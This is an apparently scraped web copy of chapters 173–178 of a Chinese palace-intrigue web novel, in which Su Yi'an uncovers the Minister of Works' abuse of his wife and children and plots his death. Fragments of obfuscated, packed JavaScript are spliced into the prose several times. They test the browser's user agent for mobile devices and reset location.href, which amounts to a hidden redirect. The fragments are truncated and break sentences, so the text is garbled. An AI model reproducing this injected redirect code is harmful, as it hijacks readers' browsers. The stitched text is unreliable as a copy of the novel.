“我才来上京多久啊,哪里知道别的府邸后院之事? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422917|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这事儿你想打听,你得问乌三。 他们那一群街溜子,整日东家长西家短的,谁家主母和主君面和心不和,谁家小妾和主母不对付,谁家公子看上了谁家姑娘,都门清儿。” 苏苡安若有所思地点点头,“这样啊……” 裴思远带着一股子怨气, “说起来,我都好久没见乌三了,也不知道她现在还活着没有,兴许,你想问她点什么,都得烧纸问了。” 苏苡安狐疑,“怎么,乌三没告诉你她去哪里了?” 裴思远诧然,“啊?她出门了?” 苏苡安看向萧北铭,“这算机密吗?可以说吗?” 萧北铭神情不耐地点了一下头,又把目光看向楼下,舒缓心中的郁气。 苏苡安得到了首肯,才开口, “乌三去北疆从军了,现在已经是镇北军的十夫长了,是有军职的人,你别一口一个街溜子地叫人家。” 裴思远嘴张得老大,半晌合不拢,舌头都打结了, “她,她竟然去北疆从军了?什么时候回来啊?” 苏苡安用下巴示意他,“这个,你得问你姐夫,我不知道。” 裴思远转头看向萧北铭。 萧北铭黑着脸,语气不善,“你觉得,这种事情,你该打听吗?” 裴思远立即收敛起了脸上的疑问之色, “不,这是军事机密,我不应该打听。” 苏苡安又说,“你去把跟乌三玩得最好的朋友,请到我的安康郡主府,我下午就要见到人。” 裴思远诧然,眼中的嫌弃挡不住, “你堂堂镇北王妃,搭理那个街溜子干嘛?多有失身份啊。 要不然,我回去问问我娘。 我娘在上京,整日无所事事,就喜欢和她从前的那些闺中密友说别家后院那点事儿。” 苏苡安眼眸一亮,“你别说,你还真别说,这事儿,没准嬢嬢知道点什么,这样,你带个信儿,我晚上去找她。” “嗯!” 裴思远点了一下头,笑道, “你和我娘,都多久没见了,她见到你,一定很高兴。 不过,你要走哪边的围墙啊,我好提前给你搭梯子。” 第173章 没什么事是沟通解决不了的 苏苡安半眯起眼睛看着这个中二少年。 如今,满上京的人都知道我把徐侍郎打**,他怎么还觉得我翻不过区区院墙? “我看你像个梯子!” 裴思远依然狐疑的表情, “不搭梯子你咋进来啊?我府邸的围墙,可着实不矮。 要不然,姊姊你屈尊走厨房的小门吧?我晚上在那里迎你。” 苏苡安十分佩服他的脑回路,无奈一笑, “嗯,好,晚上见。” 不和二比废话,免得拉低自己的智商,是她做人的基本修养。 裴思远又吃了半盘糕点,才跟他们道别,继续去执勤。 苏苡安看着萧北铭脸上的阴沉丝毫未减,知道他是因为自己刚刚说的半截话,气得不轻,又继续说, “我刚刚说的那些,只不过是我关怀晏儿的初衷。 那时候,我不知道晏儿是你儿子,且当时还和你不对付,若那时候就知道他是儿子的话,我怕是不会选择做个好人。 我们的相遇,好像冥冥之中自有天意。老天爷最大嘛,咱们不能做违背老天爷意思之事。” 萧北铭回忆起他们之前不对付的种种,就懊恼得皱眉。 苏苡**了拉身下的椅子,贴到他的身侧,牵起了他的双手, “不过,后来,我对晏儿好,都是为了你。” 萧北铭愕然,“为了我?” “嗯!” 苏苡安满眼真挚地点了一下头, “因为,我不想看到你们父子失和,俗话说,家和万事兴嘛。 咱们家一共就三个人,外人还在想法设法地祸害咱们,咱们内部必须要团结,不能让坏人有机可乘啊。” 萧北铭一想现在镇北王府群狼环伺的处境,她说道确实有理,无论做什么事,都不能授人以柄。 苏苡安紧了紧她手中他的大手,坚定不移的目光注视着他, “相信我,晏儿会成为你出类拔萃的长子,会成为你前进路上的左膀右臂。” 萧北铭深眸满是愁绪,薄唇微启, “他会吗?他血脉不行……” 苏苡安温婉一笑, “你说他血脉不好,可是,他是你的血脉啊。 晏儿和你一样,有一副好模样,性格也像你,勇敢坚毅又要强,哪哪都好~” 萧北铭并没有因为这句夸赞而心情愉悦,而是落寞地摇摇头,眼眸生寒, “他像我,才更危险……他会隐藏自己,将来只要翅膀硬了,就不会把你放在眼里了……” 苏苡安抿唇,微微一笑,自信又洒脱, “没关系啊,我的特长是专治各种不服嘛。 你放心,我捧得了他,就治得了他,你不用担心他长大会反咬我一口。 我可是千年老狐狸,他在我面前,永远是一颗单纯的小白菜,翻腾不起来浪花的。” 萧北铭回握了她的双手,拢入掌心, “答应我,教育他,差不多就行了,不用太上心。” 苏苡安点点头,一脸郑重道, “我心里有数的,我现在做的,不过就是顺手的事。 他不会抢走属于咱们孩子的任何东西。 后宅的事,说破天,也不过是教育孩子的小事,你交给我就好。 你要集中精力,去忙你的前朝大事。 一旦太子继位,咱们三个人啊,就得黄泉相聚了。” 萧北铭心中一凛,她说的没错,只是,他不想让她和自己一样,整日在焦虑中度日,便出口安慰道, “没那么严重,父皇不会看着我们死的。 最坏的结果,父皇会在他老年之时,把我分封出去做藩王。 我有能力护住你一世安稳。” “哦?分封到哪里啊?不会是北疆吧?我很怕冷诶。”苏苡安的眼眸里,呈现出几分担忧。 萧北铭坚定道,“不会,北疆可是我经营多年的地盘,父皇若是把我分封到那里,就是不想让太子坐稳江山。” 苏苡安又问,“那会是哪里?” 萧北铭略微思忖片刻,才说, “我猜一下,父皇宏图大志,他年轻之时,在百越吃过亏,有生之年,是一定要攻下百越的。 到时候,可能会把百越分封给我。” 苏苡安鄙夷之色甚浓, “刚刚攻下的地盘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422918|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,怕是要乱上好些年。 说好听的叫分封,实际上,就是指望你给太子收拾烂摊子啊。” 萧北铭没想到她还懂政事,没那么好安抚,又说, “一切都是我的猜测,而且,那是最坏的结果,你要烦忧这些事情,都交给我,你负责开心就好,我喜欢看你笑。” 苏苡安露齿一笑,脸颊两侧展现出了浅浅的酒窝, “那咱们就说好了,你不要烦忧后宅的事情,我也不烦忧前朝的事情。 咱们就各展所长,合伙把镇北王府的日子过好了,比什么都强。” 萧北铭点了点头,眼神充满了坚毅, “嗯,你放心,我会让你过上好日子的。” 苏苡安会心一笑: 搞定! 她就知道,两个长得好看的人之间,没什么事,是沟通解决不了的。 没有哪个正常人,会对着一张赏心悦目的脸发脾气,对大美人发脾气,那不纯纯**吗? 晚上的时候,苏苡安去到了裴府。 霍青璇见她双眸波光潋滟,一副神采奕奕的样子,也露出了真心的笑容, “苡安,看来,你脑子不糊涂了。” 苏苡安的谎话张口就来, “嗯,我家王爷对我很好,他千里迢迢请来了一个北疆的百岁老道士,给我化了几道符水驱邪,我喝了一段时间,脑子就清醒了。” 霍青璇信以为真, “世间竟然有如此高人,镇北王真是有心了,我还一直担心,他不会疼人,会对你不好。” “没有的事,我家王爷对我很好的,其实,他本身就是个很好的人,不像外面传说的那样吓人。” “那就好,来,坐下吃糕点,嬢嬢特意给你做的,咱们边吃边聊。” 苏苡安吃了几块糕点,就直奔主题, “我们大婚,王爷恩师的女儿没来赴喜宴,他就私下探查了一下。 发现雷夫人竟然是被她的夫君打断了腿。 此事,王爷绝对不会坐视不理,只是,他想知道前因后果。 可是,雷夫人又什么都不肯说,嬢嬢,你知道他们家的事吗?” 第174章 吃到大瓜了 “原来如此,唉!” 霍青璇深深叹了一口气,好似是在替雷夫人惋惜, “我从前做姑娘的时候,也是认识雷夫人的,我们虽然算不上是朋友,但是,也是熟人。 那时候,我们这些未出阁的贵女经常参加一些各府的赏花会,私下,也会谈论起自己的如意郎君。 雷夫人和我一样,总角之龄就被家里定了亲事,她每每说到她未来的夫君,总是很憧憬,很羞涩。 总归,是满意的不得了。 对了,那个人就是现在的工部尚书雷明义。” 苏苡安有点惊讶, “啊?他们竟然还是青梅竹马,那是如何走到今日的拳脚相向的?” “这个嘛……” 霍青璇犹豫了,作为镇南大将军夫人,从身份上讲,她不好说这些别家的秘闻,但是,她的性格,又特别八卦,喜欢说点家长里短的,此刻,表露在神情上就特别欲言又止。 苏苡安做出了一脸期待的模样,给足了八卦讲述者足够的情绪价值, “哎呀~嬢嬢,你就说嘛,不要吊我胃口,我不禁吊的,会睡不着觉的~” “这些事情,我也只是道听途说,加上过去那么久了,不保真的啊。” “你就说嘛,真假都不要紧。” 霍青璇陷入了回忆,徐徐道来, “据说,那时候,只是雷夫人的一厢情愿满意这门亲事,雷明义并不待见她,而是暗中喜欢上了一个小门小户的女子,且两个人早就暗通款曲了。” 苏苡安瞠目, “啊?这种情况雷夫人都没退亲,她是有多喜欢啊?” 霍青璇一脸遗憾和同情并存, “雷夫人很得意自己那个夫君是一方面,最主要的是,雷家不承认自己的儿子有那种苟且之事,而且,两家都是有头有脸的官宦人家,是不能退亲的。” 苏苡安再次瞪大了眼睛, “天呐,这么惨绝人寰呐。” 苏苡安听得来劲,霍青璇更加讲得津津有味了, “这里面还有更惨绝人寰的事呢,据说,是雷老夫人,以绝食相逼,雷明义才没有把那个相好的领进家门做妾室。” 苏苡安做出一脸震惊的表情,很自然地接上话, “天呐,还有这种事,可惜,这婆母死得早,要不然,还能帮这儿媳妇撑撑腰。” 霍青璇一脸遗憾地附和, “唉,就是说嘛,真是应了那句老话,好人不长命嘛。 雷老夫人本来身体就不好,再加上绝食了几日,就故去了。” 苏苡安这次真的有被惊讶到: 这世上,还真有自己把自己饿死的狠人啊! “我的天呐,就这情况了还没退亲呢,雷夫人他家里咋想的嘛……” 霍青璇亦是一脸不理解, “文人之家的想法,咱们武将家的人哪里揣摩得明白啊。 后来,三年守孝期满,他们就顺利成亲了。 可是,雷明义那个相好的,在他们大婚的当日,投井了。” 苏苡安睁圆了眼睛, “我的老天奶诶,那女的咋这么想不开啊,男人不多的是啊,怎么还上赶着做妾呢。” 霍青璇又继续说, “传说,有人见过那女子的尸体,肚子都大了。 有人说是那女子是殉情,也有人说,是雷夫人下的手,具体怎么样,就不得而知了。” 苏苡安再次震惊,“天呐……” 霍青璇一脸怅然之色, “后来,雷夫人成婚后,他们夫妻倒也和睦,没传出过什么不好的事情。 只是,后来,雷夫人的父亲和雷明义的父亲相继离世,她才一直称病,再也不出门了。 有雷夫人的手帕交上门探望,也是见不到人的。 久而久之,也就没人上门了。 我猜,雷夫人就是那个时候,才开始受**的。” 苏苡安真是吃到大瓜了, “我真是不理解,雷明义也既然那么嫌恶他娘子,为何还要跟她生了一儿一女? 既然他的老岳父和亲爹都不在了,也没人压得了他了,干嘛不和离? 他一个朝廷命官,殴打**发妻,传出去,他自己也是吃不了兜着走,干嘛要两败俱伤?” 霍青璇撇撇嘴, “你还年轻呢,不了解男人,男人的本性就是那样的。 他们喜欢把所有的过错都推给女人,他们永远是对的。 而且,只要感觉上来了,是个女人,都能跟她生孩子。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422919|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>“呵呵。” 苏苡安敷衍笑了两声, “还好,我家王爷不是那种人。” 霍青璇见她一口一个我家王爷,一副痴女模样,又不免替她忧心起来, “苡安啊,不是嬢嬢给你拆台,是要你认清现实,不要对男人抱有任何幻想。 天下男人都一样! 色衰而爱驰,他们喜欢的,永远都是年轻漂亮的姑娘。 更何况,你嫁的还是个王爷,以后啊,还会有很多年轻漂亮的女子入王府的。 你现在要做的,就是赶紧生出嫡子,巩固自己的地位。 以后,容颜不在了,还有儿子傍身,姬妾们,就翻不起来浪。” 苏苡安抿唇一笑, “多谢嬢嬢指点。” 她不得不承认,这位嬢嬢,话粗理不粗,可是,她并不在乎这个。 男人永远喜欢年轻漂亮的姑娘,她也永远喜欢年轻帅气的公子呀。 只要两个人在一起的时候,认真对待过这段感情就好,彼此身心愉悦就足够了。 如果有朝一日,厌了,倦了,就体面地分开。 他可以去找年轻漂亮的姑娘,她也可以去找年轻帅气的公子。 他们都有这个能力,而这个世上,永远都不缺不想奋斗的年轻人。 干嘛要撕破脸,甚至闹得你死我活,搞得那么难堪作甚? 人人短短几十年,开心和享乐最重要嘛。 说起镇北王,霍青璇的脸色,倏尔又严肃了起来, “苡安啊,王爷还要你办什么差了?” 苏苡安摇头,“就让我打听这一件事,没有了。” 霍青璇语重心长道, “苡安啊,你还年轻,阅历少,嬢嬢以过来人的身份劝你一句,千万不要太把男人对你的好当回事。 你可以图一个男人的身份地位,权势财富,但是,千万不要图他对你好。 一个男人,这辈子,是不可能只对一个女人好的。 他今日对你好,可能是因为你年轻漂亮,对你有所图。 一旦新人出现,你会受不了那样的落差的。 与其这样,还不如一开始,就不要图那些虚无缥缈的东西,要抓住自己作为正室的一切利益,才是最重要的。” 第175章 我看起来有那么怨妇吗? 苏苡安觉得嬢嬢现在的精神状态,已经领先这个时代的女子许多年了。 不错。 她微笑点点头,显得很是乖巧, “嗯!我知道了。” 霍青璇又不放心地问,“镇北王有没有让你拉拢我?” 苏苡安摇头, “这个真没有,他知道镇南大将军保持中立,是不会派我来为难你的。 我家王爷可不是那种强人所难之人,他特别善解人意,对我关爱有加,又温柔体贴,绝对不会逼迫我唯一的亲人。” 霍青璇看她一副‘我家王爷天下第一好’的幸福模样,把一个从金戈铁马中成长起来的战神说得跟一个贤德大妇似的,真怀疑她的脑子还没有清醒。 自己方才说的那些逆耳良言,她都没听进去,又苦口婆心地说, “苡安啊,你不要听男人说什么,要看他做什么。 镇北王十三岁上战场,靠军功封王,他绝对不是一个心思单纯之人。 你不会觉得,他娶你,就是看你漂亮吧? 你不会以为镇北王派你来这里打探那些家长里短的事情,只是为了关心雷夫人吧? 这就是他的第一步试探,让你为他所用。” 苏苡安无意反驳她,毕竟,萧北铭虽然生得俊美,但这份美凌厉而又充满攻击性,没人会相信他是个暖男。 她脸颊漾出单纯的浅笑, “是这样嘛,嬢嬢,我想不到这一层诶。” 霍青璇觉得她即便脑子清醒了,也不是个聪明人,便语重心长地跟她解释, “苡安啊,你背后是有人脉的,忠勇侯府虽然早就不在了,但是,忠勇侯府的旧部还有人在。 哪怕是当年从南疆存活下来的一个小卒子,现在都是个十夫长,百夫长了。 只要你开口,他们多多少少,都会给霍老侯爷面子的。” 苏苡安这次是真的震惊加意外了, “啊?我还有这作用?” 她禁不住腹诽着: 原主要有这些人脉,以前在苏府受虐的时候,怎么没一个人出面帮她的呢?竟然被一个姨娘欺负**…… 霍青璇又满目担忧道, “我想,接下来不多久,镇北王就会让你拉拢那些忠勇侯府旧部的夫人们了。 那些想站队镇北王的将军府邸,也会顺势往他身边送女儿。 你这个镇北王妃,不好做的,苡安啊,你要有个心里准备啊。” 话说到这里,苏苡安豁然开朗: 明白了,什么人脉啊?互惠互利罢了! 从前,她许配的人是不参与政事的楚王,那些忠勇侯府旧人,从她这里根本得不到好处,除了嬢嬢和阿远,谁稀罕搭理她啊! 忠勇侯府早就没人了,人走茶凉,谁还会为她出头,惹那些麻烦? 可现在不一样了,如果那些人站队镇北王,赌赢了,以后,可就是从龙之功了,一个家族都可以鸡犬升天。 而她,就是联系镇北王的那根纽带! “哦,还有这一层呢,我还真是没想到。” 从前,苏苡安是真没想到这一层,虽然萧北铭没有让她帮他做这些事,不过,她是不介意帮他拓展人脉的。 毕竟,他长那么好看,地球都应该围着他转。 他不就是想要个太子之位嘛,当然是帮他搞到手啊! 苏苡安温和地笑笑, “多谢嬢嬢提点,只是,我的脑子现在虽然不糊涂了,但是,真的不知道当年忠勇侯府的旧部有谁。 嬢嬢,你能不能给我提个醒,我好做点心理准备,免得,王爷让我办事我办不好,我怕他揍我。” 霍青璇听她这么说,也担忧起来。 镇北王暴戾嗜杀名声在外,没准,今日他让苡安来跟自己打探雷家的事情,就是想给她一个警醒,暗示她以后她办不好事,也会挨打…… 思及此,霍青璇眸底生寒, “你跟我来书房,我把忠勇侯府旧部的名单写给你,还有他们从前和霍家的种种,凡是我知道的,都写给你。” 苏苡安拿着这些信息离开书房之时,已经后半夜了。 裴思远等在书房的门口,要送姊姊回去。 路上,裴思远安慰她, “姊姊,你也不用太把我阿娘的话放心里去。 我阿娘都没跟镇北王说过话,她哪里了解他啊,全靠猜。 我们男人最了解男人,我看,姐夫对你挺好的,绝对不是装出来的。” “嗯。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422920|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 裴思远又压低声音, “我跟你说哦,我娘现在,就像个怨妇似的。 我们离开南疆一年多,我爹给我添了一个弟弟两个妹妹,我娘都不开心好久了。 她也不想想,她这些年在南疆,都不让那些姨娘生孩子,我爹就我和我妹妹两个孩子,哪里够啊,谁家没有七八个孩子? 我爹等了这么多年才生,已经很给她面子了。” 苏苡安撇了他一眼: 难怪嬢嬢会说天下男人都一样呢,就连她的儿子都无法共情她的苦衷。 苏苡安也没搭话。 雄性都有繁殖癌,不分物种,男人就那么回事儿了。 裴思远还在安慰她, “我姐夫都有一个庶长子了,有嫡子之前,他肯定不会再纳侧妃了,你就把心放肚子里吧。” 苏苡安越是不搭腔,裴思远越是以为她情绪低落了,越安慰越离谱, “你若实在不放心,以后姬妾进王府了,我给你弄绝子药,你给她们灌下去,等你生七八个孩子,再让她们生……” 苏苡安不愿意搭理这个二比: 他看过我们那么多次相处,就没看出来,我才是在这段感情里占主导地位的人? 我看起来有那么怨妇吗?干嘛要跟那些假想敌雌竞啊,美男子不多的是? 要紧张,也是他萧北铭紧张,我才是那个喜新厌旧的老色胚好嘛! 但是,想着阿远都是出于好意才说这些,也没有开口怼他。 两个人终于走到了后厨的门口,苏苡安才说, “你别送了,我自己走就好。” “啊?这三更半夜的,你一个人多危险啊,别客气,我送你吧。” “有暗卫呢,不用你,留步。” 苏苡安说完,就一头扎进了夜色里。 裴思远想想,镇北王确实也不可能让姊姊一个人半夜出门,周围肯定有暗卫,于是,他就放下心来,打着哈欠,准备回房睡觉。 今儿熬夜熬狠了,躺在床上,反而又睡不着了,他莫名其妙就想到了乌三。 也不知道,她现在安睡了否,北疆,应该没有仗打吧? 说不定,她受不了北疆戍边的苦,过几天,就回来了…… 第176章 吃苍蝇了 苏苡安身边并没有暗卫跟着。 她不喜欢被跟踪的感觉,出门是绝对不允许被尾随的。 现下,苏苡安没着急回王府,而是又去了工部尚书府。 苏苡安利索地翻墙入院,摸到了雷夫人的院子,戳破窗户纸,燃了一根迷香,迷晕了‘伺候’她的那个婆子,而后,潜入了雷夫人的房间。 雷夫人断腿疼得厉害,夜里眠浅,听闻脚步声,她也没过多惊讶。 以为又是那恶婆子来折磨她了,认命地等待苦难的来临。 可是,那人走到床前,身形却格外的纤细高挑。 雷夫人声音颤抖地问了一句: “何人?” 苏苡安平缓的语气回了一句, “是我,镇北王妃。” 这下,雷夫人惶恐了起来,连忙努力地撑起了身,语气满是压抑的颤音, “王妃深夜前来,所为何事?” 苏苡安走到近前,在她的床边坐下,温柔地说, “是镇北王让我来的,那看守你的婆子已经昏睡过去了。 雷夫人,你有什么苦衷和诉求都告诉我,王爷会给你做主。” 雷夫人无比紧张,语气却又斩钉截铁, “多谢王爷和王妃关心,我没有任何苦衷。” 苏苡安好言好语地安慰, “雷夫人,你别怕,你的父亲虽然不在了,但是,镇北王是你父亲的学生,他也是你的娘家人。 王爷可以给你撑腰,你相信他,他是一个可靠之人,也有能力为你做任何事,只要你开口。” 雷夫人怔了好久,才说, “多谢镇北王,我,真的没有任何委屈,也没有任何诉求。” 苏苡安真是不理解了,她的话都说到这份上了,她还不肯开口。 自己作为镇北王妃,说话这么没可信度吗? 那就以自己的方式问话吧,苏苡安收起了温柔的语气,一把撸起她的衣袖,质问道, “那你身上的伤是怎么来的,腿又是怎么断的?” 虽然黑暗中什么都瞧不见,但是雷夫人还是受惊了一般,立即从她手中抽回了自己的手, “不怕王妃笑话,这是我们夫妻的相处方式,我喜欢被夫君打,有时候,他难免出手重了些。不过,这样有把子力气,才更爷们。” 什么?! 靠!靠!靠! 别用这种话来脏我的耳朵啊! 苏苡安二话不说,起身就走。 真特么晦气啊! 如果这话是真的,那我就成了他们play的一环。 如果这话是假的,我的话都说到这份上了,她还要维护她的夫君,那我只能放下助人情节,尊重他人命运了。 男人虽然烂,但是她超爱啊! 尊重祝福锁死! 免得人家过后还要在背后问候我。 萧北铭一边在书房秉烛夜读,一边等苏苡安回来。 苏苡安是黑着脸回去的,萧北铭见状,立即起身相迎,紧张地问道, “发生何事了?” 苏苡安特别幽怨地看了他一眼, “小事,就是吃苍蝇了。” 萧北铭松了一口气,牵起了她的双手, “现在这个时节,已经有苍蝇了吗?” 苏苡安怨气十足道,“比吃了苍蝇还恶心,要好多个抱抱才能好。” 萧北铭把她揽入怀中,轻拍着她的后背,像哄小孩一样安抚, “是谁把我媳妇恶心到了?” 苏苡安跟他转述了一遍雷夫人的话,萧北铭哑口无言了。 毕竟,有这种癖好之人,他是听说过的。 萧北铭在她的额头轻嘬了一口, “辛苦了,我不该多事的,为表歉意,我伺候你沐浴吧?” 苏苡安连忙推开他,她可不想再体验那种如同被沉塘的窒息和无力感了,从怀里掏出嬢嬢给她写的数张纸, “你有比伺候我更重要的事情做,好好看看,有没有你能用得上的人。” 萧北铭好奇地接过来查看。 他虽然不喜欢府中来陌生人,尤其是一群陌生女人,但是,他无法拒绝一件让她忙起来的事情。 苏苡安决定在镇北王府举办一场赏花会。 可是,萧北铭从来不喜欢那些五颜六色的花,府中的后花园只有草坪和树。 苏苡安就派人把安康郡主府种的那些花花草草,都移栽了过来。 十日后,举办了一场赏花会。 明面上支持镇北王,亦或者想巴结镇北王的府邸,自然都派了他们的当家主母和嫡女来出席。 让苏苡安意外的是,这里面,还有工部尚书雷明义的嫡女,雷芷兰。 雷芷兰虽然是高门贵女,但是,跟她娘亲一样,一脸苦相。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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还让那个老相好的乳母来府中做我娘的侍婢,没日没夜地折磨我娘。 上个月,我爹更是打断了我娘的一条腿,那婆子,还总是隔三岔五地来踹我娘的那条断腿,让我娘痛不欲生。 我娘这辈子,怕是都站不起来了。 可怜我娘求生不能,求死不得。 我爹说,如果她敢寻死,就让我和我弟弟去陪她,嘤嘤嘤……” 第177章 即便是同归于尽,我们也要带走他 苏苡安被震惊得半晌说不出话来。 原本以为最渣不过生物爹,没想到,没有最渣,只有更渣。 这个时代的男人,真是不断地在刷新渣男的下限。 自己跟这些渣男一比,简直就是圣母好嘛! 雷芷兰哭了须臾,稳了稳自己的情绪,又继续哽咽诉说, “我爹不仅为夫不仁,还为父不慈。 从小,就我和弟弟的吃穿用度,都不如那些庶出的子女。 不管是姨娘还是庶出的弟妹,都可以随意欺辱我们。 那些姨娘,不仅抢走了我娘的全部陪嫁,还打骂我们姐弟。” 雷芷兰说着话,挽起了自己的袖子给王妃展示手臂上的淤青, “从小到大,我身上的淤青,就没有散去过,总是新伤叠加旧伤,只是,他们不敢打我们的脸罢了。 不仅如此,后院姨娘当家,我们姐弟在寒冬腊月,都没有厚衣服穿,没有炭火盆用,吃的都是残羹冷炙。 我弟弟在国子监读书,很上进,但是,我爹不给他发蜡烛,不让他晚上读书。 还动辄给他请病假,一请就是十日八日,每个月总要请两次,不让他好好读书,也不让他交朋友。 就怕我弟弟长大出息了,或者结交了高门权贵家的同窗好友,会反抗他。 至于我,我爹压根不让我读书识字,更不让我出门,只有我娘偶尔偷偷教我认几个字和礼仪。 就连我外祖在世之时,给我定下的好姻缘,也被我父亲以我体弱多病,不能生养为由,换给了庶妹。 我爹就是怕我嫁给了和我祖父交好的高门故旧,有婆家撑腰,他就无法掌控我们娘仨了。” 苏苡安自从养了萧晏,最听不得的就是孩子受苦受难之事。 虎毒不食子,那雷明义,简直就是畜生不如啊! 这个忍不了,这个真忍不了。 他必须要死! 雷芷兰很快就哭红了眼眶,抽噎道, “我爹多年来,一直营造我们母子仨人身体不好的事实。 就算哪天,我们母子仨人突然**,也没人会觉得奇怪。 这次,若不是王妃娘娘先前到过雷府看望过我的娘亲,我爹怕您事后问询,也是万万不许我来此次的赏花会的。 我今日出门前,我爹还特意警告我,不许我乱说话,否则,要把我娘的另一条腿也打断。” 苏苡安听着这些话,真是火大,这哪里是什么爹啊,这简直就是活阎王啊! 就算他是阎王,我也得灭了他! 因为,他干的这些恶心事,让她的乳腺不通畅了,他必须死! 否则,她怕自己长结节。 “雷姑娘,情况我了解了,你有什么诉求?” 雷芷兰柔弱的脸颊倏尔变得坚毅起来,泪眼中闪出了寒芒,近乎咬牙切齿的语气, “我想让欺负我们的人都受到惩罚,我想让我爹的罪行公布于众,让他罢官下大狱,身败名裂,不得好死!” 苏苡安看着雷芷兰区别于方才的柔弱可欺之态,这副坚定的表情她很喜欢。 而且,她说的这个诉求,正中下怀,她也爱听,只是,出于人道主义原则,她给了一个善意提醒, “只要你肯指证你爹,你爹虐打发妻和子女,丢官下狱是肯定的。 可是,你可曾想过,那样的话,你和你弟弟都变成罪臣的子女了。 而且,你指认亲爹,大不孝的罪名能压你一生,你以后的日子,也会很艰难。” 雷芷兰双眸充满了坚定的信念, “王妃娘娘,我既然决定跟您说这些话,就没有准备活下去了。 只要我爹受到应有的惩罚,我娘和弟弟可以不再受苦,我可以放心地离开。” 苏苡安叹了一口气, “你娘即便这些年生不如死也要坚强地活着,她就是为了保护你们姐弟啊。 你若真的因为此事丢了命,从此,你弟弟变成罪臣的儿子,以后不能科举,不能入仕,人人鄙夷,你娘真的会活得下去吗?” 雷芷兰又哭了,这些后果,她不是没想过,只是,他们娘仨现在真的没有别的出路了, “我来之前,已经和我弟弟商量过了,即便是同归于尽,我们也要带走他,不能让他留在人间享福了。 他凭什么做了那么多坏事,没有报应? 不管是为夫为父,还是为官,他都不是个好东西。” 苏苡安长睫一眨: 还有为官的事情呢,这件事,真是越扒越有啊! “具体说说。” 雷芷兰双眸愤愤含泪道, “前年大暴雨,冲毁京郊河堤, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“多谢王爷,多谢王妃,来世,我一定做牛做马,报答你们的大恩大德。” 苏苡安掏出手帕,给她擦了擦眼泪, “来世的事情,来世再说,这一世的事情,还没到严重到要你们同归于尽的地步。 你只需记住一点,回家就当今日什么话都没说过,不要打草惊蛇,剩下的,都交给我和王爷。” 第178章 留退路 赏花会结束。 苏苡安跟萧北铭大概地讲述了此事,还特意隐瞒了雷明义贪渎之事,同时,也表明了自己的立场, “雷明义,必须死,他恶心到我了!” 萧北铭蹙起了剑眉,沉声道, “雷明义死不足惜,但是,父皇上个月才表扬了他督建地宫有功。 这个时候把他的那些为夫不仁为父不慈之事摆到明面上,就是说父皇任用小人,打父皇的脸。 帮别人可以,但是,不能给自己惹麻烦,我觉得,雷明义不好杀。” 苏苡安讥诮地笑笑, “我也没打算把这事情翻到明面上来啊,他们娘仨可不能有那样不堪名声的夫君和父亲,要不然,以后还有颜面出门?只要你同意让我弄死他就好。” 萧北铭点点头, “我同意,你去办吧,王府的人,你可以随便用,只一点,此事必须做得隐蔽,不能牵连镇北王府。” 萧北铭觉得,此事棘手,能牵绊住她好多精力,以后好长一段时日,她都不忙活小东西了的事。 只是,让他失望了。 苏苡安还是每日早晚接送孩子,风雨无阻。 白日里就在后院看那十个小亲卫训练,晚上,还要亲自教小东西认药材。 萧北铭有点看不懂了: 是她一时间没想出来办法怎么不留后患地杀了雷明义,还是她觉得这事情太难办,她撂挑子了? 每每萧北铭好奇地问起来,苏苡安都会笑嘻嘻地告诉他: 在办了,你瞧好吧~ 可明明,也没看她做了什么,搞得萧北铭丈二和尚摸不着头脑。 这一日,皇上的口谕传到了镇北王府。 萧北铭和乌二,要从明日开始上早朝了。 